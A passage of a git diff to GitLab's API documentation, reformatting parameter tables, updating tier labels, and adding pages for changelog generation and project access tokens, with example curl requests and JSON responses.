results to show per page. If not specified, defaults to `20`. [Learn more on pagination](README.md#pagination). | ```json [ @@ -91,10 +92,12 @@ without authentication if the repository is publicly accessible. GET /projects/:id/repository/blobs/:sha ``` -Parameters: +Supported attributes: -- `id` (required) - The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user -- `sha` (required) - The blob SHA +| Attribute | Type | Required | Description | +| :-------- | :------------- | :------- | :---------- | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. | +| `sha` | string | yes | The blob SHA. | ## Raw blob content @@ -105,10 +108,12 @@ without authentication if the repository is publicly accessible. GET /projects/:id/repository/blobs/:sha/raw ``` -Parameters: +Supported attributes: -- `id` (required) - The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user -- `sha` (required) - The blob SHA +| Attribute | Type | Required | Description | +| :-------- | :------- | :------- | :---------- | +| `id` | datatype | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. | +| `sha` | datatype | yes | The blob SHA. | ## Get file archive @@ -128,10 +133,14 @@ GET /projects/:id/repository/archive[.format] `bz2`, `tar`, and `zip`. For example, specifying `archive.zip` would send an archive in ZIP format. -Parameters: +Supported attributes: -- `id` (required) - The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user -- `sha` (optional) - The commit SHA to download. A tag, branch reference, or SHA can be used. This defaults to the tip of the default branch if not specified. For example: +| Attribute | Type | Required | Description | +|:------------|:---------------|:---------|:----------------------| +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. | +| `sha` | string | no | The commit SHA to download. A tag, branch reference, or SHA can be used. This defaults to the tip of the default branch if not specified. | + +Example request: ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.com/api/v4/projects/<project_id>/repository/archive?sha=<commit_sha>" @@ -146,21 +155,22 @@ publicly accessible. Note that diffs could have an empty diff string if [diff li GET /projects/:id/repository/compare ``` -Parameters: +Supported attributes: -- `id` (required) - The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user -- `from` (required) - the commit SHA or branch name -- `to` (required) - the commit SHA or branch name -- `straight` (optional) - comparison method, `true` for direct comparison between `from` and `to` (`from`..`to`), `false` to compare using merge base (`from`...`to`)'. Default is `false`. +| Attribute | Type | Required | Description | +| :--------- | :------------- | :------- | :---------- | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. | +| `from` | string | yes | The commit SHA or branch name. | +| `to` | string | yes | The commit SHA or branch name. | +| `straight` | boolean | no | Comparison method, `true` for direct comparison between `from` and `to` (`from`..`to`), `false` to compare using merge base (`from`...`to`)'. Default is `false`. | ```plaintext GET /projects/:id/repository/compare?from=master&to=feature ``` -Response: +Example response: ```json - { "commit": { "id": "12d65c8dd2b2676fa3ac47d955accc085a37a9c1", @@ -203,15 +213,17 @@ GET /projects/:id/repository/contributors ``` WARNING: -The `additions` and `deletions` attributes are deprecated [as of GitLab 13.4](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/39653) because they [always return `0`](https://gitlab.com/gitlab-org/gitlab/-/issues/233119). +The `additions` and `deletions` attributes are deprecated [as of GitLab 13.4](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/39653), because they [always return `0`](https://gitlab.com/gitlab-org/gitlab/-/issues/233119). -Parameters: +Supported attributes: -- `id` (required) - The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user -- `order_by` (optional) - Return contributors ordered by `name`, `email`, or `commits` (orders by commit date) fields. Default is `commits` -- `sort` (optional) - Return contributors sorted in `asc` or `desc` order. Default is `asc` +| Attribute | Type | Required | Description | +| :--------- | :------------- | :------- | :---------- | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. | +| `order_by` | string | no | Return contributors ordered by `name`, `email`, or `commits` (orders by commit date) fields. Default is `commits`. | +| `sort` | string | no | Return contributors sorted in `asc` or `desc` order. Default is `asc`. | -Response: +Example response: ```json [{ @@ -237,10 +249,12 @@ Get the common ancestor for 2 or more refs (commit SHAs, branch names or tags). GET /projects/:id/repository/merge_base ``` -| Attribute | Type | Required | Description | -| --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) | -| `refs` | array | yes | The refs to find the common ancestor of, multiple refs can be passed | +| Attribute | Type | Required | Description | +| --------- | -------------- | -------- | ------------------------------------------------------------------------------- | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) | +| `refs` | array | yes | The refs to find the common ancestor of, multiple refs can be passed | + +Example request: ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/repository/merge_base?refs[]=304d257dcb821665ab5110318fc58a007bd104ed&refs[]=0031876facac3f2b2702a0e53a26e89939a42209" @@ -264,3 +278,283 @@ Example response: "committed_date": "2014-02-27T08:03:18.000Z" } ``` + +## Generate changelog data + +> [Introduced](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/351) in GitLab 13.9. + +Generate changelog data based on commits in a repository. + +Given a version (using semantic versioning) and a range of commits, +GitLab generates a changelog for all commits that use a particular +[Git trailer](https://git-scm.com/docs/git-interpret-trailers). + +The output of this process is a new section in a changelog file in the Git +repository of the given project. The output format is in Markdown, and can be +customized. + +```plaintext +POST /projects/:id/repository/changelog +``` + +Supported attributes: + +| Attribute | Type | Required | Description | +| :-------- | :------- | :--------- | :---------- | +| `version` | string | yes | The version to generate the changelog for. The format must follow [semantic versioning](https://semver.org/). | +| `from` | string | no | The start of the range of commits (as a SHA) to use for generating the changelog. This commit itself isn't included in the list. | +| `to` | string | yes | The end of the range of commits (as a SHA) to use for the changelog. This commit _is_ included in the list. | +| `date` | datetime | no | The date and time of the release, defaults to the current time. | +| `branch` | string | no | The branch to commit the changelog changes to, defaults to the project's default branch. | +| `trailer` | string | no | The Git trailer to use for including commits, defaults to `Changelog`. | +| `file` | string | no | The file to commit the changes to, defaults to `CHANGELOG.md`. | +| `message` | string | no | The commit message to produce when committing the changes, defaults to `Add changelog for version X` where X is the value of the `version` argument. | + +If the `from` attribute is unspecified, GitLab uses the Git tag of the last +version that came before the version specified in the `version` attribute. For +this to work, your project must create Git tags for versions using the +following format: + +```plaintext +vX.Y.Z +``` + +Where `X.Y.Z` is a version that follows semantic versioning. For example, +consider a project with the following tags: + +- v1.0.0 +- v1.1.0 +- v2.0.0 + +If the `version` attribute is `2.1.0`, GitLab uses tag v2.0.0. And when the +version is `1.1.1`, or `1.2.0`, GitLab uses tag v1.1.0. + +If `from` is unspecified and no tag to use is found, the API produces an error. +To solve such an error, you must explicitly specify a value for the `from` +attribute. + +### How it works + +Changelogs are generated based on commit titles. Commits are only included if +they contain a specific Git trailer. GitLab uses the value of this trailer to +categorize the changes. + +GitLab uses Git trailers, because Git trailers are +supported by Git out of the box. We use commits as input, as this is the only +source of data every project uses. In addition, commits can be retrieved when +operating on a mirror. This is important for GitLab itself, because during a security +release we might need to include changes from both public projects and private +security mirrors. + +Changelogs are generated by taking the title of the commits to include and using +these as the changelog entries. You can enrich entries with additional data, +such as a link to the merge request or details about the commit author. You can +[customize the format of a changelog](#customize-the-changelog-output) section with a template. + +### Customize the changelog output + +The output is customized using a YAML configuration file stored in your +project's Git repository. This file must reside in +`.gitlab/changelog_config.yml`. + +You can set the following variables in this file: + +- `date_format`: the date format to use in the title of the newly added + changelog data. This uses regular `strftime` formatting. +- `template`: a custom template to use for generating the changelog data. +- `categories`: a hash that maps raw category names to the names to use in the + changelog. + +Using the default settings, generating a changelog results in a section along +the lines of the following: + +```markdown +## 1.0.0 (2021-01-05) + +### Features (4 changes) + +- [Feature 1](gitlab-org/gitlab@123abc) by @alice ([merge request](gitlab-org/gitlab!123)) +- [Feature 2](gitlab-org/gitlab@456abc) ([merge request](gitlab-org/gitlab!456)) +- [Feature 3](gitlab-org/gitlab@234abc) by @steve +- [Feature 4](gitlab-org/gitlab@456) +``` + +Each section starts with a title that contains the version and release date. +While the format of the date can be customized, the rest of the title can't be +changed. When adding a new section, GitLab parses these titles to determine +where in the file the new section should be placed. GitLab sorts sections +according to their versions, not their dates. + +Each section can have categories, each with their +corresponding changes. In the above example, "Features" is one such category. +You can customize the format of these sections. + +The section names are derived from the values of the Git trailer used to include +or exclude commits. + +For example, if the trailer to use is called `Changelog`, +and its value is `feature`, then the commit is grouped in the `feature` +category. The names of these raw values might differ from what you want to +show in a changelog, you can remap them. Let's say we use the `Changelog` +trailer and developers use the following values: `feature`, `bug`, and +`performance`. + +You can remap these using the following YAML configuration file: + +```yaml +--- +categories: + feature: Features + bug: Bug fixes + performance: Performance improvements +``` + +When generating the changelog data, the category titles are then `### Features`, +`### Bug fixes`, and `### Performance improvements`. + +### Custom templates + +The category sections are generated using a template. The default template is as +follows: + +```plaintext +{% if categories %} +{% each categories %} +### {{ title }} ({% if single_change %}1 change{% else %}{{ count }} changes{% end %}) + +{% each entries %} +- [{{ title }}]({{ commit.reference }})\ +{% if author.contributor %} by {{ author.reference }}{% end %}\ +{% if merge_request %} ([merge request]({{ merge_request.reference }})){% end %} + +{% end %} + +{% end %} +{% else %} +No changes. +{% end %} +``` + +The `{% ... %}` tags are for statements, and `{{ ... }}` is used for printing +data. Statements must be terminated using a `{% end %}` tag. Both the `if` and +`each` statements require a single argument. + +For example, if we have a variable `valid`, and we want to display "yes" +when this value is true, and display "nope" otherwise. We can do so as follows: + +```plaintext +{% if valid %} +yes +{% else %} +nope +{% end %} +``` + +The use of `else` is optional. A value is considered true when it's a non-empty +value or boolean `true`. Empty arrays and hashes are considered false. + +Looping is done using `each`, and variables inside a loop are scoped to it. +Referring to the current value in a loop is done using the variable tag `{{ it +}}`. Other variables read their value from the current loop value. Take +this template for example: + +```plaintext +{% each users %} +{{name}} +{% end %} +``` + +Assuming `users` is an array of objects, each with a `name` field, this would +then print the name of every user. + +Using variable tags, you can access nested objects. For example, `{{ +users.0.name }}` prints the name of the first user in the `users` variable. + +If a line ends in a backslash, the next newline is ignored. This allows you to +wrap code across multiple lines, without introducing unnecessary newlines in the +Markdown output. + +Tags that use `{%` and `%}` (known as expression tags) consume the newline that +directly follows them, if any. This means that this: + +```plaintext +--- +{% if foo %} +bar +{% end %} +--- +``` + +Compiles into this: + +```plaintext +--- +bar +--- +``` + +Instead of this: + +```plaintext +--- + +bar + +--- +``` + +You can specify a custom template in your configuration like so: + +```yaml +--- +template: | + {% if categories %} + {% each categories %} + ### {{ title }} + + {% each entries %} + - [{{ title }}]({{ commit.reference }})\ + {% if author.contributor %} by {{ author.reference }}{% end %} + + {% end %} + + {% end %} + {% else %} + No changes. + {% end %} +``` + +Note that when specifying the template you should use `template: |` and not +`template: >`, as the latter doesn't preserve newlines in the template. + +### Template data + +At the top level, the following variable is available: + +- `categories`: an array of objects, one for every changelog category. + +In a category, the following variables are available: + +- `title`: the title of the category (after it has been remapped). +- `count`: the number of entries in this category. +- `single_change`: a boolean that indicates if there is only one change (`true`), + or multiple changes (`false`). +- `entries`: the entries that belong to this category. + +In an entry, the following variables are available (here `foo.bar` means that +`bar` is a sub-field of `foo`): + +- `title`: the title of the changelog entry (this is the commit title). +- `commit.reference`: a reference to the commit, for example, + `gitlab-org/gitlab@0a4cdd86ab31748ba6dac0f69a8653f206e5cfc7`. +- `commit.trailers`: an object containing all the Git trailers that were present + in the commit body. +- `author.reference`: a reference to the commit author (for example, `@alice`). +- `author.contributor`: a boolean set to `true` when the author is an external + contributor, otherwise this is set to `false`. +- `merge_request.reference`: a reference to the merge request that first + introduced the change (for example, `gitlab-org/gitlab!50063`). + +The `author` and `merge_request` objects might not be present if the data +couldn't be determined. For example, when a commit is created without a +corresponding merge request, no merge request is displayed. diff --git a/doc/api/repository_files.md b/doc/api/repository_files.md index ce11e5a38b7..19684b4ac0e 100644 --- a/doc/api/repository_files.md +++ b/doc/api/repository_files.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference, api --- -# Repository files API +# Repository files API **(FREE)** **CRUD for repository files** diff --git a/doc/api/repository_submodules.md b/doc/api/repository_submodules.md index 9c59920df77..c014bb44861 100644 --- a/doc/api/repository_submodules.md +++ b/doc/api/repository_submodules.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference, api --- -# Repository submodules API +# Repository submodules API **(FREE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/41213) in GitLab 11.5 diff --git a/doc/api/resource_access_tokens.md b/doc/api/resource_access_tokens.md new file mode 100644 index 00000000000..50f5ea73634 --- /dev/null +++ b/doc/api/resource_access_tokens.md @@ -0,0 +1,107 @@ +--- +stage: Manage +group: Access +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# Project access tokens API + +You can read more about [project access tokens](../user/project/settings/project_access_tokens.md). + +## List project access tokens + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/238991) in GitLab 13.9. + +Get a list of project access tokens. + +```plaintext +GET projects/:id/access_tokens +``` + +| Attribute | Type | required | Description | +|-----------|---------|----------|---------------------| +| `id` | integer/string | yes | The ID of the project | + +```shell +curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/<project_id>/access_tokens" +``` + +```json +[ + { + "user_id" : 141, + "scopes" : [ + "api" + ], + "name" : "token", + "expires_at" : "2021-01-31", + "id" : 42, + "active" : true, + "created_at" : "2021-01-20T22:11:48.151Z", + "revoked" : false + } +] +``` + +## Create a project access token + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/238991) in GitLab 13.9. + +Create a project access token. + +```plaintext +POST projects/:id/access_tokens +``` + +| Attribute | Type | required | Description | +|-----------|---------|----------|---------------------| +| `name` | String | yes | The name of the project access token | +| `scopes` | Array\[String] | yes | [List of scopes](../user/project/settings/project_access_tokens.md#limiting-scopes-of-a-project-access-token) | +| `expires_at` | Date | no | The token expires at midnight UTC on that date | + +```shell +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \ +--header "Content-Type:application/json" \ +--data '{ "name":"test_token", "scopes":["api", "read_repository"], "expires_at":"2021-01-31" }' \ +"https://gitlab.example.com/api/v4/projects/<project_id>/access_tokens" +``` + +```json +{ + "scopes" : [ + "api", + "read_repository" + ], + "active" : true, + "name" : "test", + "revoked" : false, + "created_at" : "2021-01-21T19:35:37.921Z", + "user_id" : 166, + "id" : 58, + "expires_at" : "2021-01-31" +} +``` + +## Revoke a project access token + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/238991) in GitLab 13.9. + +Revoke a project access token. + +```plaintext +DELETE projects/:id/access_tokens/:token_id +``` + +| Attribute | Type | required | Description | +|-----------|---------|----------|---------------------| +| `id` | integer/string | yes | The ID of the project | +| `token_id` | integer/string | yes | The ID of the project access token | + +```shell +curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/<project_id>/access_tokens/<token_id>" +``` + +### Responses + +- `204: No Content` if successfully revoked. +- `400 Bad Request` or `404 Not Found` if not revoked successfully. diff --git a/doc/api/resource_iteration_events.md b/doc/api/resource_iteration_events.md index 4c351308ae1..91c7a1b07ea 100644 --- a/doc/api/resource_iteration_events.md +++ b/doc/api/resource_iteration_events.md @@ -4,10 +4,11 @@ group: Project Management info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Resource iteration events API **(STARTER)** +# Resource iteration events API **(PREMIUM)** -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/229463) in [GitLab Starter](https://about.gitlab.com/pricing/) 13.4. -> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/229463) in [GitLab Starter](https://about.gitlab.com/pricing/) 13.5. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/229463) in GitLab 13.4. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/229463) in GitLab 13.5. +> - Moved to GitLab Premium in 13.9. Resource iteration events keep track of what happens to GitLab [issues](../user/project/issues/). diff --git a/doc/api/runners.md b/doc/api/runners.md index 131418de725..1782e236c36 100644 --- a/doc/api/runners.md +++ b/doc/api/runners.md @@ -575,7 +575,7 @@ Example response: ```json { - "id": "12345", + "id": 12345, "token": "6337ff461c94fd3fa32ba3b1ff4125" } ``` diff --git a/doc/api/scim.md b/doc/api/scim.md index 6e67b6fbc2d..d00a0988d2b 100644 --- a/doc/api/scim.md +++ b/doc/api/scim.md @@ -5,9 +5,9 @@ group: Access info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# SCIM API (SYSTEM ONLY) **(SILVER ONLY)** +# SCIM API (SYSTEM ONLY) **(PREMIUM SAAS)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/9388) in [GitLab.com Silver](https://about.gitlab.com/pricing/) 11.10. +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/9388) in GitLab Premium 11.10. The SCIM API implements the [RFC7644 protocol](https://tools.ietf.org/html/rfc7644). As this API is for **system** use for SCIM provider integration, it is subject to change without notice. diff --git a/doc/api/search.md b/doc/api/search.md index 584b2cbb837..9e1407fdffd 100644 --- a/doc/api/search.md +++ b/doc/api/search.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference, api --- -# Search API +# Search API **(FREE)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/41763) in GitLab 10.5. > - [Feature flag `search_filter_by_confidential` removed](https://gitlab.com/gitlab-org/gitlab/-/issues/244923) in GitLab 13.6. @@ -31,7 +31,7 @@ GET /search Search the expression within the specified scope. Currently these scopes are supported: projects, issues, merge_requests, milestones, snippet_titles, users. -If Elasticsearch is enabled additional scopes available are blobs, wiki_blobs, notes, and commits. Find more about [the feature](../integration/elasticsearch.md). **(STARTER)** +If Elasticsearch is enabled additional scopes available are blobs, wiki_blobs, notes, and commits. Find more about [the feature](../integration/elasticsearch.md). **(PREMIUM)** The response depends on the requested scope. @@ -266,7 +266,9 @@ Example response: ] ``` -### Scope: wiki_blobs **(STARTER)** +### Scope: wiki_blobs **(PREMIUM)** + +> Moved to GitLab Premium in 13.9. This scope is available only if [Elasticsearch](../integration/elasticsearch.md) is enabled. @@ -295,7 +297,9 @@ Example response: NOTE: `filename` is deprecated in favor of `path`. Both return the full path of the file inside the repository, but in the future `filename` will be only the filename and not the full path. For details, see [issue 34521](https://gitlab.com/gitlab-org/gitlab/-/issues/34521). -### Scope: commits **(STARTER)** +### Scope: commits **(PREMIUM)** + +> Moved to GitLab Premium in 13.9. This scope is available only if [Elasticsearch](../integration/elasticsearch.md) is enabled. @@ -328,7 +332,9 @@ Example response: ] ``` -### Scope: blobs **(STARTER)** +### Scope: blobs **(PREMIUM)** + +> Moved to GitLab Premium in 13.9. This scope is available only if [Elasticsearch](../integration/elasticsearch.md) is enabled. @@ -367,7 +373,9 @@ Example response: NOTE: `filename` is deprecated in favor of `path`. Both return the full path of the file inside the repository, but in the future `filename` will be only the file name and not the full path. For details, see [issue 34521](https://gitlab.com/gitlab-org/gitlab/-/issues/34521). -### Scope: notes **(STARTER)** +### Scope: notes **(PREMIUM)** + +> Moved to GitLab Premium in 13.9. This scope is available only if [Elasticsearch](../integration/elasticsearch.md) is enabled. @@ -444,7 +452,7 @@ GET /groups/:id/search Search the expression within the specified scope. Currently these scopes are supported: projects, issues, merge_requests, milestones, users. -If Elasticsearch is enabled additional scopes available are blobs, wiki_blobs, notes, and commits. Find more about [the feature](../integration/elasticsearch.md). **(STARTER)** +If Elasticsearch is enabled additional scopes available are blobs, wiki_blobs, notes, and commits. Find more about [the feature](../integration/elasticsearch.md). **(PREMIUM)** The response depends on the requested scope. @@ -648,7 +656,9 @@ Example response: ] ``` -### Scope: wiki_blobs **(STARTER)** +### Scope: wiki_blobs **(PREMIUM)** + +> Moved to GitLab Premium in 13.9. This scope is available only if [Elasticsearch](../integration/elasticsearch.md) is enabled. @@ -677,7 +687,9 @@ Example response: NOTE: `filename` is deprecated in favor of `path`. Both return the full path of the file inside the repository, but in the future `filename` will be only the filename and not the full path. For details, see [issue 34521](https://gitlab.com/gitlab-org/gitlab/-/issues/34521). -### Scope: commits **(STARTER)** +### Scope: commits **(PREMIUM)** + +> Moved to GitLab Premium in 13.9. This scope is available only if [Elasticsearch](../integration/elasticsearch.md) is enabled. @@ -710,7 +722,9 @@ Example response: ] ``` -### Scope: blobs **(STARTER)** +### Scope: blobs **(PREMIUM)** + +> Moved to GitLab Premium in 13.9. This scope is available only if [Elasticsearch](../integration/elasticsearch.md) is enabled. @@ -749,7 +763,9 @@ Example response: NOTE: `filename` is deprecated in favor of `path`. Both return the full path of the file inside the repository, but in the future `filename` will be only the file name and not the full path. For details, see [issue 34521](https://gitlab.com/gitlab-org/gitlab/-/issues/34521). -### Scope: notes **(STARTER)** +### Scope: notes **(PREMIUM)** + +> Moved to GitLab Premium in 13.9. This scope is available only if [Elasticsearch](../integration/elasticsearch.md) is enabled. @@ -998,7 +1014,9 @@ Example response: ] ``` -### Scope: notes **(STARTER)** +### Scope: notes **(PREMIUM)** + +> Moved to GitLab Premium in 13.9. This scope is available only if [Elasticsearch](../integration/elasticsearch.md) is enabled. @@ -1032,7 +1050,9 @@ Example response: ] ``` -### Scope: wiki_blobs **(STARTER)** +### Scope: wiki_blobs **(PREMIUM)** + +> Moved to GitLab Premium in 13.9. This scope is available only if [Elasticsearch](../integration/elasticsearch.md) is enabled. @@ -1078,7 +1098,9 @@ Example response: NOTE: `filename` is deprecated in favor of `path`. Both return the full path of the file inside the repository, but in the future `filename` will be only the filename and not the full path. For details, see [issue 34521](https://gitlab.com/gitlab-org/gitlab/-/issues/34521). -### Scope: commits **(STARTER)** +### Scope: commits **(PREMIUM)** + +> Moved to GitLab Premium in 13.9. This scope is available only if [Elasticsearch](../integration/elasticsearch.md) is enabled. @@ -1111,7 +1133,9 @@ Example response: ] ``` -### Scope: blobs **(STARTER)** +### Scope: blobs **(PREMIUM)** + +> Moved to GitLab Premium in 13.9. This scope is available only if [Elasticsearch](../integration/elasticsearch.md) is enabled. diff --git a/doc/api/services.md b/doc/api/services.md index d00ddb07a05..16431937c7a 100644 --- a/doc/api/services.md +++ b/doc/api/services.md @@ -748,7 +748,7 @@ Send IRC messages, on update, to a list of recipients through an Irker gateway. Set Irker (IRC gateway) service for a project. NOTE: -Irker does NOT have built-in authentication, which makes it vulnerable to spamming IRC channels if it is hosted outside of a firewall. Please make sure you run the daemon within a secured network to prevent abuse. For more details, read: <http://www.catb.org/~esr/irker/security.html>. +Irker does NOT have built-in authentication, which makes it vulnerable to spamming IRC channels if it is hosted outside of a firewall. Please make sure you run the daemon within a secured network to prevent abuse. For more details, read [Security analysis of `irker`](http://www.catb.org/~esr/irker/security.html). ```plaintext PUT /projects/:id/services/irker @@ -1358,7 +1358,7 @@ Get JetBrains TeamCity CI service settings for a project. GET /projects/:id/services/teamcity ``` -## Jenkins CI **(STARTER)** +## Jenkins CI A continuous integration and build server diff --git a/doc/api/settings.md b/doc/api/settings.md index 264021b3a2d..2fd58917aad 100644 --- a/doc/api/settings.md +++ b/doc/api/settings.md @@ -4,7 +4,7 @@ group: unassigned info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Application settings API **(CORE ONLY)** +# Application settings API **(FREE SELF)** These API calls allow you to read and modify GitLab instance [application settings](#list-of-settings-that-can-be-accessed-via-api-calls) @@ -77,6 +77,7 @@ Example response: "asset_proxy_enabled": true, "asset_proxy_url": "https://assets.example.com", "asset_proxy_whitelist": ["example.com", "*.example.com", "your-instance.com"], + "asset_proxy_allowlist": ["example.com", "*.example.com", "your-instance.com"], "npm_package_requests_forwarding": true, "snippet_size_limit": 52428800, "issues_create_limit": 300, @@ -84,7 +85,8 @@ Example response: "wiki_page_max_content_bytes": 52428800, "require_admin_approval_after_user_signup": false, "personal_access_token_prefix": "GL-", - "rate_limiting_response_text": null + "rate_limiting_response_text": null, + "keep_latest_artifact": true } ``` @@ -166,7 +168,7 @@ Example response: "local_markdown_version": 0, "asset_proxy_enabled": true, "asset_proxy_url": "https://assets.example.com", - "asset_proxy_whitelist": ["example.com", "*.example.com", "your-instance.com"], + "asset_proxy_allowlist": ["example.com", "*.example.com", "your-instance.com"], "geo_node_allowed_ips": "0.0.0.0/0, ::/0", "allow_local_requests_from_hooks_and_services": true, "allow_local_requests_from_web_hooks_and_services": true, @@ -178,7 +180,8 @@ Example response: "wiki_page_max_content_bytes": 52428800, "require_admin_approval_after_user_signup": false, "personal_access_token_prefix": "GL-", - "rate_limiting_response_text": null + "rate_limiting_response_text": null, + "keep_latest_artifact": true } ``` @@ -190,7 +193,7 @@ these parameters: - `geo_status_timeout` - `deletion_adjourned_period` -Example responses: **(PREMIUM ONLY)** +Example responses: **(PREMIUM SELF)** ```json "file_template_project_id": 1, @@ -219,7 +222,8 @@ listed in the descriptions of the relevant settings. | `asset_proxy_enabled` | boolean | no | (**If enabled, requires:** `asset_proxy_url`) Enable proxying of assets. GitLab restart is required to apply changes. | | `asset_proxy_secret_key` | string | no | Shared secret with the asset proxy server. GitLab restart is required to apply changes. | | `asset_proxy_url` | string | no | URL of the asset proxy server. GitLab restart is required to apply changes. | -| `asset_proxy_whitelist` | string or array of strings | no | Assets that match these domain(s) are **not** proxied. Wildcards allowed. Your GitLab installation URL is automatically allowlisted. GitLab restart is required to apply changes. | +| `asset_proxy_whitelist` | string or array of strings | no | (Deprecated: Use `asset_proxy_allowlist` instead) Assets that match these domain(s) are **not** proxied. Wildcards allowed. Your GitLab installation URL is automatically allowlisted. GitLab restart is required to apply changes. | +| `asset_proxy_allowlist` | string or array of strings | no | Assets that match these domain(s) are **not** proxied. Wildcards allowed. Your GitLab installation URL is automatically allowlisted. GitLab restart is required to apply changes. | | `authorized_keys_enabled` | boolean | no | By default, we write to the `authorized_keys` file to support Git over SSH without additional configuration. GitLab can be optimized to authenticate SSH keys via the database file. Only disable this if you have configured your OpenSSH server to use the AuthorizedKeysCommand. | | `auto_devops_domain` | string | no | Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages. | | `auto_devops_enabled` | boolean | no | Enable Auto DevOps for projects by default. It automatically builds, tests, and deploys applications based on a predefined CI/CD configuration. | @@ -235,7 +239,7 @@ listed in the descriptions of the relevant settings. | `default_project_visibility` | string | no | What visibility level new projects receive. Can take `private`, `internal` and `public` as a parameter. Default is `private`. | | `default_projects_limit` | integer | no | Project limit per user. Default is `100000`. | | `default_snippet_visibility` | string | no | What visibility level new snippets receive. Can take `private`, `internal` and `public` as a parameter. Default is `private`. | -| `deletion_adjourned_period` | integer | no | **(PREMIUM ONLY)** The number of days to wait before deleting a project or group that is marked for deletion. Value must be between 0 and 90. +| `deletion_adjourned_period` | integer | no | **(PREMIUM SELF)** The number of days to wait before deleting a project or group that is marked for deletion. Value must be between 0 and 90. | `diff_max_patch_bytes` | integer | no | Maximum diff patch size (Bytes). | | `disable_feed_token` | boolean | no | Disable display of RSS/Atom and calendar feed tokens ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/231493) in GitLab 13.7) | | `disabled_oauth_sign_in_sources` | array of strings | no | Disabled OAuth sign-in sources. | @@ -280,6 +284,7 @@ listed in the descriptions of the relevant settings. | `first_day_of_week` | integer | no | Start day of the week for calendar views and date pickers. Valid values are `0` (default) for Sunday, `1` for Monday, and `6` for Saturday. | | `geo_node_allowed_ips` | string | yes | **(PREMIUM)** Comma-separated list of IPs and CIDRs of allowed secondary nodes. For example, `1.1.1.1, 2.2.2.0/24`. | | `geo_status_timeout` | integer | no | **(PREMIUM)** The amount of seconds after which a request to get a secondary node status times out. | +| `git_two_factor_session_expiry` | integer | no | **(PREMIUM)** Maximum duration (in minutes) of a session for Git operations when 2FA is enabled. | | `gitaly_timeout_default` | integer | no | Default Gitaly timeout, in seconds. This timeout is not enforced for Git fetch/push operations or Sidekiq jobs. Set to `0` to disable timeouts. | | `gitaly_timeout_fast` | integer | no | Gitaly fast operation timeout, in seconds. Some Gitaly operations are expected to be fast. If they exceed this threshold, there may be a problem with a storage shard and 'failing fast' can help maintain the stability of the GitLab instance. Set to `0` to disable timeouts. | | `gitaly_timeout_medium` | integer | no | Medium Gitaly timeout, in seconds. This should be a value between the Fast and the Default timeout. Set to `0` to disable timeouts. | @@ -300,22 +305,22 @@ listed in the descriptions of the relevant settings. | `housekeeping_incremental_repack_period` | integer | required by: `housekeeping_enabled` | Number of Git pushes after which an incremental `git repack` is run. | | `html_emails_enabled` | boolean | no | Enable HTML emails. | | `import_sources` | array of strings | no | Sources to allow project import from, possible values: `github`, `bitbucket`, `bitbucket_server`, `gitlab`, `fogbugz`, `git`, `gitlab_project`, `gitea`, `manifest`, and `phabricator`. | -| `invisible_captcha_enabled` | boolean | no | Enable Invisible Captcha spam detection during signup. Disabled by default. | +| `invisible_captcha_enabled` | boolean | no | <!-- vale gitlab.Spelling = NO --> Enable Invisible Captcha <!-- vale gitlab.Spelling = YES --> spam detection during sign-up. Disabled by default. | | `issues_create_limit` | integer | no | Max number of issue creation requests per minute per user. Disabled by default.| | `local_markdown_version` | integer | no | Increase this value when any cached Markdown should be invalidated. | | `maintenance_mode_message` | string | no | **(PREMIUM)** Message 